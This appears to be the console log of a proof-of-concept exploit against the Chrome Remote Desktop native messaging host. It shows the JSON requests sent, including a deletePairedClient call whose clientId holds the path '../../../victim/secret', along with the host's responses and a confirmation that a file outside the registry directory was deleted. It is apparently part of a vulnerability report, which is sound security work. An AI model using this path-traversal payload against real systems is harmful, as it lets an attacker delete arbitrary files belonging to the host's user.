[*] setup: HOME = /tmp/crd-poc-home registry dir = /tmp/crd-poc-home/.config/chrome-remote-desktop/paired-clients victim file = /tmp/crd-poc-home/victim/secret.json victim exists before attack: True [*] launching: /chromium/chromium/src/out/asan/remoting_native_messaging_host chrome-extension://inomeogfingihgjfjlpeplalcfajhgai/ [*] sending native-messaging requests: -> {"id": 1, "type": "hello"} -> {"id": 2, "type": "deletePairedClient", "clientId": "../../../victim/secret"} [*] host responses: <- {"id": 1, "supportedFeatures": ["pairingRegistry", "oauthClient", "getRefreshTokenFromAuthCode"], "type": "helloResponse", "version": "148.0.7766.0"} <- {"file": "../../remoting/base/username.cc", "line": 56, "message": "getpwnam_r() failed for username: vmiura: Success (0)", "severity": "warn", "type": "_debug_log"} <- {"file": "../../remoting/base/username.cc", "line": 56, "message": "getpwnam_r() failed for username: vmiura: Success (0)", "severity": "warn", "type": "_debug_log"} <- {"id": 2, "result": true, "type": "deletePairedClientResponse"} [*] host stderr: [0408/044740.896703:WARNING:remoting/base/username.cc:56] getpwnam_r() failed for username: vmiura: Success (0) [0408/044740.897003:WARNING:remoting/base/username.cc:56] getpwnam_r() failed for username: vmiura: Success (0) [*] victim exists after attack: False [+] PATH TRAVERSAL CONFIRMED [+] /tmp/crd-poc-home/victim/secret.json was deleted via clientId='../../../victim/secret' [+] The host unlinked a file outside its registry directory.